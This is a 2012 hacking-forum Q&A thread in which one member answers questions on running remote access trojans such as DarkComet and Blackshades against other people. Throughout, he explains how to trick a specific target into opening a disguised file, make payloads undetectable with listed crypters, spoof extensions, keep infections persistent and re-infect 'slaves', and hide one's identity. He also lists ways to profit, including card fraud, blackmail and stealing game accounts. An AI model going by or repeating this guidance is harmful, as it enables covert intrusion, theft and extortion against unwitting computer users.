(Aug 27, 2012 07:54 PM)elemerein Wrote: [\[CITE\]](#) No, I didn't mean to RAT a phone. I meant can I use the 3G internet service on my phone to RAT? Simply because I can't portforward here because I don't own the router because I'm on vacation.

If you are able to port forward on that, then Yes.

Your question is a little bit confusing.

Satoshi Nakamoto - August 27, 2012, 8:02 pm

Are you sure Stealth rats mac users? - it seems that it is just the client that is coded in java and runs on a mac. Would you recommend an HQ irc bot over any of BShades' products? Like Athena?

ThemisBro - August 27, 2012, 8:03 pm

NO-IP Updater doesn't work anymore since there is no further development going on, on Darkcomet

What you do is Download the DUC 3.0 and keep it running
Then everything will work without using the NO-IP Updater.

+Nemesis - August 27, 2012, 10:11 pm

:)

I suggest only to use the Melt & Persistence options,
Since those are the important options to use.. The other ones are pretty useless and the chance
that the file increases to be corrupted is more.

If you are planning to crypt your file, then don't use those options..

This is what you have create it as if you're planning to crypt it:

Try to infect your slave with the Minimalist builder

And check your Client settings, if there is no Password added in there

Because if there is a Password added in the Client settings, and your file is not made with a password.. then you don't receive them as well.

(Aug 29, 2012 01:11 PM)segevush Wrote: [\[CITE\]](#) I have a few questions.

What's the different between keylogger and rat?

How to setup a rat?

How to spread it without a website?

thank you!

A Keylogger is a simple tool that when you infect someone everything what your victim types gets sent to your Gmail/Hotmail/Yahoo...

a RAT is a Remote Administration Tool.. It takes over the whole computer

And you can do what ever you want to your slave, For Example: Viewing webcam, Remoting desktop, Shut down computer, etc etc.. a lot more features.

There are a lot of tutorials on how to set up a RAT

Some helpful tutorials about RATs here.

Tutorial on how to setup the Cybergate RAT version 1.07.5, written by Plutonium:

<https://hackforums.net/showthread.php?tid=545871>

Tutorial on how to setup Darkcomet RAT version 5.2, written by ReadByte:

<https://hackforums.net/showthread.php?tid=2400205>

Tutorial on how to setup the paid RAT Blackshades NET, written by !!!!:

<https://hackforums.net/showthread.php?tid=768883&highlight=blackshades>

Tutorial on how to setup Xtreme RAT version 2.9, written by Teenage Anarchist:

What's the best way to infect a specific target? Say I want to RAT John Ballsacks .. I have John's email, Facebook page. Skype ID now what do I do?

Elweth - September 2, 2012, 2:52 am

Thanks for answering my previous question..Here's another

Since you're recommending DataProtector to people, I suppose you're using it too right?

If so, do you have any advanced settings for DarkComet? Or is it a must to follow the guidelines else the crypted file won't work?

Dr Plague - September 2, 2012, 3:36 am

What is the most stable program to hold Bots/Slaves, I keep loosing them.

Thank-you.

XOwnage - September 2, 2012, 3:38 am

What do you think is the best paid rat outwhere now ? Because that BS drama

Skiezo™ - September 2, 2012, 5:46 am

(Sep 1, 2012 06:36 PM)Beelzebozo Wrote: [\[CITE\]](#) What's the best way to infect a specific target? Say I want to RAT John Ballsacks .. I have John's email, Facebook page. Skype ID now what do I do?

Try to get contact with John, either with Skype

or Facebook chat , Try to Social engineer him in something such as you have his picture and if he wants it you have to send him this " Picture "

Then he has to download the file and open it, or something similiar.

Make sure your file is fully undetectable before you send it

and Spoof the file's extension in for example a JPG file.

(Sep 2, 2012 02:52 AM)constellation Wrote: [\[CITE\]](#) Thanks for answering my previous question..Here's another

Since you're recommending DataProtector to people, I suppose you're using it too right?

If so, do you have any advanced settings for DarkComet? Or is it a must to follow the guidelines else the crypted file won't work?

Yes, There are no advanced settings for Darkcomet if you're going to use a Crypter, since it's pointless and it only makes your file corrupted..

The settings you are going to use is the settings on the Crypter.

In this case Data Protector.

(Sep 2, 2012 03:36 AM)EliteDanz Wrote: [\[CITE\]](#) What is the most stable program to hold Bots/Slaves, I keep loosing them.

Thank-you.

Blackshades fusion is a good stable RAT

This RAT also doesn't require port forwarding.

(Sep 2, 2012 03:38 AM)XOwnage Wrote: [\[CITE\]](#) What do you think is the best paid rat outwhere now ? Because that BS drama

I would still say: Blackshades..

It's a very good RAT, although the downtime was annoying as **!

And the Blackshades Drama doesn't exist anymore.. the Uptime is getting better, So even if its \$40 and the downtime sucks sometimes i suggest you to buy it then any other paid RAT.

Dr Plague - September 2, 2012, 7:50 am

Blackshades fusion is a good stable RAT

This RAT also doesn't require port forwarding.

I heard things about they're stealing bots? Is it free? Also got Skype? I want to speak to you. :D

Herro? Anybody there? You're online though.

You log in on NO-IP.com

And manage hosts, then click on the hosts that you're possibly using and change the IP from there, save it start DUC3.0 Back up

And it should do all the job you need.

(Sep 3, 2012 07:18 PM).Dope Wrote: [\[CITE\]](#) Could you give me some test installs? Also If my server becomes 1/37 how do I update them to my new fud server?

This is a Ask Skiezo™ Anything thread

I do not give away installs,

And once you have another Fully undetectable file which is 0/37

You can use the Download & Execute option on your RAT

For blackshades: Download & Execute

For Darkcomet: Mass download < Enter your Direct download link >

(Sep 5, 2012 08:34 PM)taylor222 Wrote: [\[CITE\]](#) How do people make money off of RAT's?

Keylogging there CC info or Paypal info but that is blackhat and I will NOT go into more details or they could see there slaves to others on here

taylor222 - September 5, 2012, 10:04 pm

Is using slaves for bitmining common and what other ways do people use slaves for making money?

somerandomguy323 - September 5, 2012, 11:46 pm

EDITED

I have no-ip and cerberus 1.03.5 i spent the last few hours setting it up but nothing shows in my servers list even though its set up as visible.

im guessing the final step to test it is the port forwarding part but its all really confusing. I tried tutorials and youtube videos on it but nobody explains in depth each step. i need to know what port needs forwarded and what it needs forwarded to. i have an actiontec VZ fios router.

Also the ip for my no-ip is just my regular public ip address. is that right or did i do something wrong?

And last, once i get it all working how do i use it? I want to use the keylogger feature most of all and access the files. At this point i dont even know how to send it. it obviously still needs to be hidden in something and sent.

yeah im a newb to remote access programs sorry for the dumb question.

UPDATE I figured out how to forward ports but im not sure which selection to make. Which applications/service do i select? the choices are ftp http https imap vpn ping pop3 etc the list goes on and on.

thanks!

Yes I saved the settings :P Ideas? THANKS

Did you listened the port on the RAT? Before checking on you <http://canyouseeme.org> ? Because the port mighth be already in use

Try to use another port for example: 2000 And listen the port on the RAT

Leave the router, and see what happens.

(Sep 5, 2012 03:27 PM)dedpope Wrote: [\[CITE\]](#) I have a big prob, when I run DC I get "Can't join remote server, try again later" how can I fix this?? plz help I lost all my slaves & I would love to get them back, PM me with any help, new added issue , my port is open but port check said it cant see me WTF My port is open

Have you tried using any other RATS?

If so.. go back to your previous RAT, and delete the port you listened on that RAT, that might solve your problem.

(Sep 5, 2012 08:34 PM)taylor222 Wrote: [\[CITE\]](#) How do people make money off of RAT's?

There are various ways of making money on your RAT

- Stealing gold of virtual games, selling them for cash
- Use a bitcoin miner for all your RAT slaves

There are also ways of getting money off your slaves by using Blackhat activity methods, but fortunately it's not really Legit to do that on Hackforums, that will result a ban

- Fraud methods, stealing money on Paypal/Creditcards and other Pay methods
- Blackmailing your slaves

And i can keep going on like that, there are a lot of ways to get money off your slaves on RATS.

(Sep 5, 2012 10:04 PM)taylor222 Wrote: [\[CITE\]](#) Is using slaves for bitmining common and what other ways do people use slaves for making money?

Read my previous post ^

And you'll see how to get money off slaves.

Hello,

First of all if you're need to Ratting

Then i highly suggest not to use a complicated RAT such as Ceberus

Since there are not a lot of detailed tutorials about this RAT
You should use a RAT that is well used.. such as Darkcomet.

It doesn't matter what kind of port you use, but it should be a common port something as
1604/2000/3080/3081/2001 anything like that.

Also if you'd like to port forward then you need to Port forward on TCP + UDP, and enter your IPV4
Address when it asks for your IP address.

And no you don't use the list of: Http/FTP etc.. You have to make a custom application. If you still
need help with setting up Darkcomet/ Portforward right i'm willing to do it for you since you're
struggling with it.

PM me your JOIN.me details and i'm willing to offer help.
Since im at school right now i will be back at home in 2 hours.

(Sep 6, 2012 03:39 AM)iyolo Wrote: [\[CITE\]](#) do you know any free/good Ebooks or guides for How to

port is open, it's not.
This is what you do, Please follow this from the beginning till its end.

RouterGo to the Port Forwarding Tab (Firewall/Game Applications/Services)

Then Add a Port for example over 1000+ in this case we going to use port 2000

Add port 2000 on TCP + UDP, Now you have to enter your IPV4 Adress in

Search for "CMD" type in: Ipconfig, You should see a list with your Default Gateway & IPV4 Adress.

Now you need to enter the IPV4 Adress on the line where it asks to put in a IP.

Click save (Router part is done now)

Remote Administration ToolNow you have to go to the TAB for Listening ports the Tab is called Socket/NET Tab for Darkcomet Listen to port 2000.

If you're using Blackshades go to the settings Tab, and activate port 2000.

Now Shut down your Firewall (e.g. Comodo Firewall)

Shut down your Antivirus (e.g. Microsoft Security Essentials)

Shut down your Windows Defender, (Only for Darkcomet) to prevent the RAT file being removed

Now go to <http://canyouseeme.org>

And if everything is done correctly you should be port forwarded.

This is a Ask Skiezo™ Anything thread

Not a Help service thread, if you need help then post here

<https://hackforums.net/showthread.php?tid=2178267>

And PM one of the active members in that thread :-)

 - 2) What is better Cybergate or Darkcomet? i use cybergate right now...
 - 3) If Darkcomet is better can i find it on their website?
- 1) Have you used the feature " Startup " on your file?
Because, if you didn't your file will not back running in his/her Process..

So in this case you lost the slave right now, and next time make a file with the Startup feature.

2) Darkcomet is obviously better, Because Cybergate is outdated and doesn't configure right anymore, has errors and has a big chance of losing your victims, So Darkcomet is a really good recommendation.

3) No, You're not able to download the Darkcomet on their Official website anymore, The owner of Darkcomet, has recently not been updating it anymore, and there will be no updates since he official closed his Darkcomet Project because of several reasons.

You can get it from other people, if you wish to have a safe Darkcomet download link without being risked to get infected from other members

PM me.

Thanks I am still pretty lost on this. I forwarded port 3080 like you suggested but it never asked for IPV4 address. I just clicked custom, entered 3080 and clicked both TCP and UDP and clicked save. not sure what to do next. should I just delete cerberus and try a easier Rat? thanks!

Elweth - September 8, 2012, 5:14 am

Hey there, I just got nVPN. Currently using a shared IP, does this means that I'm sharing my slaves with others?

Synergy_Crxpt - September 8, 2012, 5:22 am

i dont know why but it never works i try everything and the server never appears in darkcomet

thugishuge - September 8, 2012, 7:20 am

i have a few questions :

1. I sent the rat to my friend to test it out , when he clicked on it nothing happened why is that
2. Does it matter if i don't use a router just a modem
3. If it does is there a different port i should be using other than 200 and 1604

Rage™ - September 8, 2012, 11:55 am

Vouch for my bro Skiezo™. He's skilled and knows what he's doing with RATS.

Skiezo™ - September 8, 2012, 3:10 pm

(Sep 7, 2012 10:45 PM)somerandomguy323 Wrote: [\[CITE\]](#) Thanks I am still pretty lost on this. I forwarded port 3080 like you suggested but it never asked for IPV4 address. I just clicked custom, entered 3080 and clicked both TCP and UDP and clicked save. not sure what to do next. should I just delete cerberus and try a easier Rat? thanks!

This hasn't to do with your RAT

Some routers a different, it seems like you have a complicated Router

But i don't really know about what router we are talking about.

So please send me your Join.me Details if you want to have this fixed

And i really recommend you to use Darkcomet if you're Ratting for the first time, especially NOT cerberus since there are barely guides & tutorials about them.

(Sep 8, 2012 05:14 AM)constellation Wrote: [\[CITE\]](#) Hey there, I just got nVPN. Currently using a shared IP, does this means that I'm sharing my slaves with others?

No, it means you'll get Different IP's when connecting to your VPN.

You bought a Non Dedicated VPN on nVPN.

(Sep 8, 2012 05:22 AM)Synergy_Crxpt Wrote: [\[CITE\]](#) i dont know why but it never works i try everything and the server never appears in darkcomet

Most likely reason you don't show up when you test it on yourself is the fact your probably using your external address when testing, (Eg, your WAN IP, or your No-ip DNS) and most likely your router/gateway/modem doesn't have NAT loopback support. Nothing to worry about, just when you test within your network use internal addresses, (eg, if your testing on the computer that is running the client use 127.0.0.1, if your testing within your network on a different computer use the address of the computer hosting the client).

(Sep 8, 2012 07:20 AM)thugishuge Wrote: [\[CITE\]](#) i have a few questions :

1. I sent the rat to my friend to test it out , when he clicked on it nothing happened why is that
 2. Does it matter if i don't use a router just a modem
 3. If it does is there a different port i should be using other than 200 and 1604
- 1) That means you are either not port forwarded right or your friend must of have detected the file as a Virus
 - 2) Your Modem needs to have the Port forwarding feature, if it doesn't Support that then No.
 - 3) You can use any common used port, 2000/2001/3080/3081/1604/100 etc.

If you're sure you are not pot forwarded right

This is what you do, Please follow this from the beginning till its end.

Router/ModemGo to the Port Forwarding Tab (Firewall/Game Applications/Services)

Then Add a Port for example over 1000+ in this case we going to use port 2000

Add port 2000 on TCP + UDP, Now you have to enter your IPV4 Adress in

Search for "CMD" type in: Ipconfig, You should see a list with your Default Gateway & IPV4 Adress.

Now you need to enter the IPV4 Adress on the line where it asks to put in a IP.

Click save (Router part is done now)

Remote Administration ToolNow you have to go to the TAB for Listening ports the Tab is called Socket/NET Tab for Darkcomet Listen to port 2000.

If you're using Blackshades go to the settings Tab, and activate port 2000.

Now Shut down your Firewall (e.g. Comodo Firewall)

Shut down your Antivirus (e.g. Microsoft Security Essentials)

Shut down your Windows Defender, (Only for Darkcomet) to prevent the RAT file being removed

Now go to <http://canyouseeme.org>

And see if you're portforwarded on port 2000.

(Sep 8, 2012 11:55 AM)Rage™ Wrote: [\[CITE\]](#) Vouch for my bro Skiezo™. He's skilled and knows what he's doing with RATS.

Thanks a lot for the vouch, it surely means a lot to me.

ItsDiamondDP - September 8, 2012, 4:47 pm

How do i infect my DarkComet RAT to all his computers on his network? It's currently infected on one computer but im trying to get his Runescape account and he doesnt play on that computer. I just need to send my file to every computer. Thanks :D

thugishuge - September 8, 2012, 5:44 pm

I still can't get it to work , I add the port , but when i check the port on canyouseeme.org it says connection refused .

Runningback - September 8, 2012, 7:12 pm

Is there any RAT compatible with macs?

Elweth - September 8, 2012, 11:38 pm

Thanks for answering my questions like always, here's another.

I'm planning on upgrading to a dedicated ip, but wouldn't that defeat the purpose of anonymity? Since I bought no-logs nNVP for the sake of using rat and being anonymous, but now if I were to get an IP which is only used by me, won't it be dangerous?

Skiezo™ - September 9, 2012, 3:35 am

You can use Worms or something related for that,
I'm not quite sure because i never used Worms, like most of the community

Here is a Hack Reference Guide,
<https://hackforums.net/showthread.php?tid=2043304>

Here you can see what worms are, and what they do exactly.

(Sep 8, 2012 05:44 PM)thugishuge Wrote: [\[CITE\]](#) I still can't get it to work , I add the port , but when i check the port on canyouseeme.org it says connection refused .
You should PM me your Join.me details
and let me look into it, you might have 2 routers
And if you do, then you have to port forward on both of them.

(Sep 8, 2012 07:12 PM)Runningback Wrote: [\[CITE\]](#) Is there any RAT compatible with macs?
There are not quite lot of RATS for Macs, But there is one that i know is supporting Macs, It's the Blackshades Stealth.

For more information about that RAT, go to their website
<http://bshades.eu/products.php>

(Sep 8, 2012 11:38 PM)constellation Wrote: [\[CITE\]](#) Thanks for answering my questions like always, here's another.

Since I bought no-logs nNVP for the sake of using rat and being anonymous, but now if I were to get an IP which is only used by me, won't it be dangerous?
No, you have a VPN that means a Virtual Private Network
That also means that you're safe and not using your own IP adress.

So it doesn't matter if you are about to have a Shared IP or a Dedicated IP License, They have those kind of IP's Because it might be as well better for you changing the IP Adress, but it really doesn't say anything about how safe you are..

If you're using a VPN you are most likely safe unless you buy one with Logs.

Xotix - September 9, 2012, 1:33 pm

How do I give my friend some test installs?

Also how do I update my slaves? (If my server becomes unFUD how do I update them to be FUD?)

Thanks man.

Super Hulk - September 10, 2012, 4:18 am

HEY I GOT THIS WHEN I SENT MY RAT TO A PERSON

<http://postimage.org/image/wzzzk8bbj/>

does this mean that my rat (blackshades)is rejecting my bot(slave)

PLEASE ANSWER and is that an ip of a bot???

how can i get that bot into my connection(or ping to him)

iyolo - September 10, 2012, 6:17 am

Since they found out BS is backdoored i was wondering
is you're own computer in danger when using BS when you are not infecting yourself?

also do you know any other good Rats with Runescape Pin Loggers?
i tried

DC
CG
BlackNix
Blue Banana
Royal RAT

any suggetions?

Inconditional - September 10, 2012, 6:49 am

Skiezo, thanks for your service.

How would I go about getting a trusted reupload of DarkComet?

Skiezo™ - September 10, 2012, 10:37 am

(Sep 9, 2012 01:33 PM)Xotix Wrote: [\[CITE\]](#) How do I give my friend some test installs?

Thanks man.

What kind of RAT are you using?

If you're using Darkcomet it should be, The Mass download Option

You enter your Direct download URL link and hit OK.

If you're using Blackshades use the Download & Execute (Hidden) Option with the same method as for Darkcomet, Enter URL and hit ok.

Well the only way trying to keep your slaves on your RAT is make another fully undetectable RAT file, and infect them again.

(Sep 10, 2012 04:18 AM)thomaseric Wrote: [\[CITE\]](#) HEY I GOT THIS WHEN I SENT MY RAT TO A PERSON

any suggestions?

No, If you never infected your own host computer with a executable created Blackshades file, then you're not in danger. But your slaves you currently have on your RAT they're, because you're not the only one who has them.

At the moment i'm still searching for a Good RAT with a lot of good features as what Blackshades had, And i haven't found any with a great RS pinlogger, though i'm still waiting Jrat & Dynasty RAT comes out coded by Redposi0n & Kohsti, So at the moment no sorry.

(Sep 10, 2012 06:49 AM)Inconditional Wrote: [\[CITE\]](#) Skiezo, thanks for your service.

Very good question,

Al though i think it's your own decision of trusting someone.
There are some threads with great replies and NON backdoored or any clean RAT that is not binded with anything. But you should take this risk yourself.

You can also PM me, for this download
I currently only have Darkcomet 5.3.1

Xotix - September 10, 2012, 11:17 am

You probably either not port forwarded right or you didn't
This is what you do, Please follow this from the beginning till its end.

RouterGo to the Port Forwarding Tab (Firewall/Game Applications/Services)

Then Add a Port for example over 1000+ in this case we going to use port 2000

Add port 2000 on TCP + UDP, Now you have to enter your IPV4 Adress in

Search for "CMD" type in: Ipconfig, You should see a list with your Default Gateway & IPV4 Adress.

Now you need to enter the IPV4 Adress on the line where it asks to put in a IP.

Click save (Router part is done now)

Remote Administration ToolNow you have to go to the TAB for Listening ports the Tab is called Socket/NET Tab for Darkcomet Listen to port 2000.

If you're using Blackshades go to the settings Tab, and activate port 2000.

Now Shut down your Firewall (e.g. Comodo Firewall)

Shut down your Antivirus (e.g. Microsoft Security Essentials)

Shut down your Windows Defender, (Only for Darkcomet) to prevent the RAT file being removed

Now go to <http://canyouseeme.org>
And see if you're portforwarded on port 2000.

(Sep 10, 2012 02:18 PM)whyitell Wrote: [\[CITE\]](#) How did you get into ratting and why?
My first interest was Remote Administration Tools when i was being active on Hackforums, 2 Years ago there was someone that hacked me on a Game called: Habbo hotel he was a friend, we were talking always on Skype and stuff, but Everytime i did something wrong, he had a excuse for hacking me.

So.. then i asked him how did you learned that etc, He was using a Keylogger, and was not good with RATs. Then he told me to go to Hackforums, The first year i thought Hackforums was really boring especially because my english wasn't that good. But after 1 year i had goals to achieve on Hackforums, Having knowledge in the Hack section on Hackforums.. I was still a regular member with barely reputation.. Till this fellow Illuminati Member called Kohsti invited me to his RAT helpcenter.

Because he knew that i was good with RATs and other stuff.
So once i got invited i accepted the invite immediately, and got in his RAT helpcenter (Which i'm

still in) So then people were requesting a LOT help, and Pm'd me about Hack related questions.
From there my reputation was getting boosted up..

My Knowledge & English was getting better, Because English is not my first language. And once again because of Kohsti.. I got in various groups such as in Illuminati. Because if he never Met me, i would never know of the other Fellow Illuminati members who got me in.

(Sep 10, 2012 01:29 PM)iyolo Wrote: [\[CITE\]](#) well i once infected myself by accident but i removed the rat after by simply just deleting the Files etc

If you're infected with your own RAT file, then you're not in danger.

But next time if you'd like to infect yourself to see if the file is working use SandBoxie

Download and install "[Sandboxie](#)". When you are done do the following:
Right click on your server.

Click "Run Sandboxed".

You will know if your server is working without harming your machine.

iyolo - September 11, 2012, 1:44 am

ye i had some1 helping with a buggie rat i tested for him
then he proceed to look at my BS and opend my server -.-

normally i always sandboxie ofc

Boa Hancock - September 11, 2012, 2:23 am

Hiya, I set up my RAT to run on startup once activated, however upon testing on my test machine, everytime the computer is restarted it asks if it should run it since its an unknown publisher- any way to get around this?

batou - September 11, 2012, 2:57 am

Hi, sorry for the noob question, in all the tutorials for DC it says to set up a NoIP account and download and install some noIP software? But it never explains why you have to do so? Can you tell me what it is good for and if it also works without, and if not why? :-) It's probably also because I didn't really get yet how DC works? Why doesn't it just connect to the internet and then to the install? Why do you have to make settings in your router and portforward and NoIP and so? And what difference does it make? Thanks for your patience ?

Margherita - September 11, 2012, 3:14 am

excuse me please: what's a decent and stable free RAT ?
I would love to start learning! :)

Skiezo™ - September 11, 2012, 5:46 pm

(Sep 11, 2012 02:23 AM)nasb Wrote: [\[CITE\]](#) Hiya, I set up my RAT to run on startup once activated, however upon testing on my test machine, everytime the computer is restarted it asks if it should run it since its an unknown publisher- any way to get around this?

Yes, make your file crypted and do not use start up on your Darkcomet.

But on the crypter, Because Darkcomet always had that kind of problem with the startup option.

(Sep 11, 2012 02:57 AM)batou Wrote: [\[CITE\]](#) Hi, sorry for the noob question, in all the tutorials for DC it says to set up a NoIP account and download and install some noIP software? But it never

Thanks for your patience ?

Well first of all people use NO-IP to hide their WAN IP

They just set up a host on NO-IP so they don't risk to make a file with their WAN IP entered in the settings of the RAT.

You don't need to make a NO-IP, it's just your risk to slaves who can get your WAN IP easily if you're not using it.

The Port forwarding part is a must because you need to have a port open that you can connect with your RAT, We all have ports open those ports are ports that already have been opened on your Router to have access for various things such as Skype (Port 80)

This port is already opened for you, to have a connection on your Skype

Well this is the same with your RAT, you need to have connections with your slaves and for that you need to have a port open.

Difference between NO-IP & WAN IP;

WAN IP: You are in more danger when someone knows how to get your IP while he is accepting your executable file.

NO-IP: You slave only obtains your NO-IP, He pretty much can't do anything with it (Unless reporting it to NO-IP and have your account blocked) But lots of people leave that part.

I hope you understand what i mean.

(Sep 11, 2012 03:14 AM)Margherita Wrote: [\[CITE\]](#) excuse me please: what's a decent and stable free RAT ?

I would love to start learning! :)

Darkcomet all the way,

This is a Free RAT and pretty much stable especially the latest version

Darkcomet (5.3.1).

So if you wish to have a clean download, PM me

Nemesis44 - September 11, 2012, 11:44 pm

Is there a way to make slaves visit my adf.ly links without them noticing it ? I hear visit web site in DC should do this, but when i tried it i didnt get views.

Black_Diamond - September 11, 2012, 11:48 pm

I think rats are a good and very usefull tool :)

batou - September 12, 2012, 8:15 am

(Sep 11, 2012 05:46 PM)Skiezo™ Wrote: [\[CITE\]](#) Well this is the same with your RAT, you need to have connections with your slaves and for that you need to have a port open.

Thank you for the very detailed answer. I understood most of it, and the difference between the WAN IP and the NOIP IP. I think I got that, the install communicates with my noIP server and from there back to the DC software on my machine? please correct me if im wrong.

Appart from one thing, what does the noIP DUC do? I thought it constantly updates the noIP with my real (WAN?) IP? Isn't the noIP IP the same as my WANIP then? Or why do I need the noIP DUC and what does it do?

And why can't the RAT use one of the ports that are already open, like port 80 (if or if not I am using skype)? Sorry, but I like to understand things... thanks a lot for your help ?

Hack-IT! - September 12, 2012, 8:40 am

Can Anyone Tell me what i have to do first

I made the server i want to bind it with a picture so should i bind it first or crypt it then bind it ?

Skiezo™ - September 12, 2012, 10:50 am

The NO-IP DUC 3.0 updates your hosts and IP adress.

NO-IP doesn't leak your IP Adress to others, it's just a back up for your WAN IP so there is no need to be worry about your WAN IP to be leaked.

Only NO-IP knows your WAN IP.

You have to " Check " your host and save that in your DUC 3.0

Because like i said.. It updates your hosts & IP Adress (If you're switching IP's) You don't need to have it ran.. But you can expect no Updates & there is a chance of losing slaves.

Crypt your file first, and bind it after with a picture.

Make sure you uncheck everything on your RAT before you crypt your file.

Else there will be given a corruption file which means it's not gonna work.

GhostProtocol - September 12, 2012, 1:17 pm

Skiezo,

i can't use my ports on Blackshades RAT it keeps saying they're closed but im 100% sure there online..

is this a problem of blackshades.

Thanks for answering all my previous questions !

Nope, there is no way of getting it out of your computer using Darkcomet Removal, Darkcomet Removal is specially based on the virus you create with Darkcomet, And it's hard to get it out of your computer when the file is crypted.

Data protector is crypted with 4 back up processors, And the persistence is very very high

(Sep 15, 2012 03:40 AM)_Eragon_ Wrote: [\[CITE\]](#) Hi Skiezo :D

Yes, it means you'll get Different IP's when connecting to your VPN.
You bought a Non Dedicated VPN on nVPN.

It doesn't effect your NO-IP if you're using DUC 3.0
Because it keeps updating your New IP.

(Sep 15, 2012 03:44 AM)Nemesis44 Wrote: [\[CITE\]](#) I am i safe rating if i use nVPN and i have a router where 4 peoples are connected to, other computers have still original ip when i checked (propably because i didnt install config on those PCs) or how does this work ? Not really..

Can you please be specific?

Dexter Moser - September 15, 2012, 8:02 am

Every time I bind a file to my RAT, it creates a stub.dpr?

What do I do with stub.dpr, is it already binded, and is it binded to the RAT or the program?

Nemesis44 - September 15, 2012, 8:08 am

At home i have a router where 4 computers are connected throught it (one of those is mine).

I bought nVPN and downloaded config, etc. files to my computer and now iam hidden under VPN.

My question is, will they VPN apply to other 3 computer in the house, i didnt install those config files on it. When i turn on nVPN on my computer and check for my IP i can see nVPN ip. I tried to check whats my ip also on other computer and it showed my original ip.

My question is if iam 100% hidden and those 3 others computer dont somehow connect with me or me with them, because it would suck if lets say my brother was connection to his email from our original ip, but also from nVPN ip, i dont want these 2 IPs (mine original and nVPNs to go together).

Do you understand now ? :D

2pad3 - September 15, 2012, 11:11 am

hey whats up what is the best crypter that is fud and free or not free available and how do you know if ur rat is fully working e.g ports are forwarded and the rat you make will infect someones pc?

BestFromAbove - September 15, 2012, 1:54 pm

i bought some bots from a bot seller, and when i bought 400 bots, i only got 35 of them, usually thats normal but i only got like 15 then the came very slowly and stopped, the file was fud and im using dark comet so i have no idea what the problem is

Skiezo™ - September 15, 2012, 2:12 pm

(Sep 15, 2012 08:02 AM)Crimes Wrote: [\[CITE\]](#) Every time I bind a file to my RAT, it creates a stub.dpr?

What do I do with stub.dpr, is it already binded, and is it binded to the RAT or the program?

What kind of binder do you use, I think it's just a copy of your actual binded file. There is a way to get around that by unchecking it somewhere on the Binder you're using.

(Sep 15, 2012 08:08 AM)Nemesis44 Wrote: [\[CITE\]](#) At home i have a router where 4 computers are connected throught it (one of those is mine).

The VPN you are connecting with on your current Computer is working.

If you're not connected through a VPN on another computer then you're not secured on that computer. I hope your question is answered now.

There are barely Free Crypters that are fully undetectable

I highly suggest you to buy a Paid crypter if you really want to have your Crypter Fully undetectable for a long time.

Here are some crypters listed, of course paid ones come with unlimited updates and better customer support. Free ones are also good, but it will stick to one version, most of the time.

Paid Crypters:

<https://hackforums.net/showthread.php?tid=2524118> - Data Protector

<https://hackforums.net/showthread.php?tid=1017199> - SADDAM

<https://hackforums.net/showthread.php?tid=2371565> - Dimension

<https://hackforums.net/showthread.php?tid=2162662> - Cryptex Advanced

<https://hackforums.net/showthread.php?tid=2361480> - Enigma

Free Crypters:

<https://hackforums.net/showthread.php?tid=2483163> - Sikrypter

<https://hackforums.net/showthread.php?tid=1515855> - Entropy

<https://hackforums.net/showthread.php?tid=2432777> - 2012 Crypter

<https://hackforums.net/showthread.php?tid=2500773> - EnergyCrypt

<https://hackforums.net/showthread.php?tid=2295406> - Tekken

If you want to know if you're port forwarded right you always are able to create a server on your RAT with the host: 127.0.0.1

127.0.0.1 is your Local IP which connects with your own host computer.

If you're connected then you're port forwarded right and able to spread with your NO-IP created file.

(Sep 15, 2012 01:54 PM)BestFromAbove Wrote: [\[CITE\]](#) i bought some bots from a bot seller, and when i bought 400 bots, i only got 35 of them, usually thats normal but i only got like 15 then the came very slowly and stopped, the file was fud and im using dark comet so i have no idea what the problem is

The Botseller might have been botkilled your Bots

Which means the botseller who sold you those bots used the Malwarekiller option to remove all the bots that have been infected by other Ratters on a victim's computer to keep them for his own.

There is also a chance of you did not add Startup to your file.

If you do not use Startup then you'll lose all the bots you have if they shut down or restart their computer.

And last, They might have been reformatted/scanned/ or let someone take care of removing it from his/her computer.

A couple of questions.

Do you know what RAT's does NOT require port forwarding, if any?

Do you know if there is any way to get into my password protected router to set up port port forwarding? Basically break in?

Do you know if there is any way for me to hide the port that will be used by a RAT so it isn't visible to the network admin?

Thanks so much!

iyolo - September 16, 2012, 8:53 am

i am wondering how many bots you can update on DC without DC crashing

also what is the best way to keep you're server FUD on them?

I use Data protector as crypter and DC as main RAT

so my question is..

whats the best way to update your server on them without losing connections?

(happends quite often for me) thats why i always pick 30 at the time

Hello,

Yes, there are some RATs that do not require Port forwarding

Here are some examples;

Blackshades fusion -

Can be found on their own Blackshades Website

<http://bshades.eu/products.php>

HTTP LokiRat

Tutorial on how to setup the HTTP based RAT LokiRat, written by --DK--:

<https://hackforums.net/showthread.php?tid=1464984>

If you don't know your router details, there is always a option to reset your details to change it back to the default Username & Password

Go to your little modem box, and hold the RESET button with a pencil or anything small to reach it, hold it till a color lights up, and that's the sign that your router has been reset. Then just google your Router name and find the default password, Most common details: admin - admin, password - admin, user - user etc.

There is no way hiding your ports in your router, they will be for ever in your Port forwarding tab.. so there is not really you can do about that.

(Sep 16, 2012 08:53 AM)iyolo Wrote: [\[CITE\]](#) i am wondering how many bots you can update on DC without DC crashing

It depends on your internet speed, If you have a good internet speed you'll be holding a lot more slaves then usually. I'd say around 4-5K Slaves

The best way to keep your slaves on your RAT is download and the execute option for a new Crypted Fully undetectable file, This way will keep you have your slaves longer on your RAT, But Data protector is a very good Crypter so it's very hard to kill the back up processors so i even doubt if that needs to, But if you're not sure you can do that to keep your slaves longer.

?cid - September 18, 2012, 1:21 am

So when you make the infected file do you use the file binder on the program or you use your own then crypt it?

For some reason when i crypt the file it no longer works is this the crypter or dark comet?

& With the whole Extension Spoofing and stuff do you spoof the .exe after or before you crypt?

Ports: If i change ports to whichever is open will i have the previous slaves or only the ones that i infected on that port will show?

If someone that knows alot about ratting and stuff could add me and sort of teach me some basics i would appreciate it just PM me your skype or comment the user name below

any help is appreciated.

Once you create your file, It's infected and not crypted yet.

You may now bind the file with any picture you want (Binder is in Darkcomet folder)

Once you did, you can crypt your file to make it fully undetectable. But please make sure you did

not used the settings on your Darkcomet for example: Startup or icons. This will make your file corrupted once you crypt it since you're using the same settings on your Crypter.

Now if you want to spoof it,
you just open the spoofer (Darkcomet folder) And you give it a new name + the Fake extension.

Once you did these steps above
Your file should be working 100% without being corrupted.

If you have created a file on the port you port forwarded.
And want to use a different port, then you're not getting your slaves back since you're having them on another port.

If you need further questions PM me.

(Sep 18, 2012 07:49 AM)iyolo Wrote: [\[CITE\]](#) what is the best website for download and execute?
is dropbox any good for it

To be honest currently i don't know of any good Direct downloader
That doesn't distribute samples, since i'm not ratting anymore and my mind isn't focused on that.

But Dropbox is definitely a bad choice since they are distributing samples of your file. If you have a file that is not crypted you're free to use it and it would be a good recommendation.

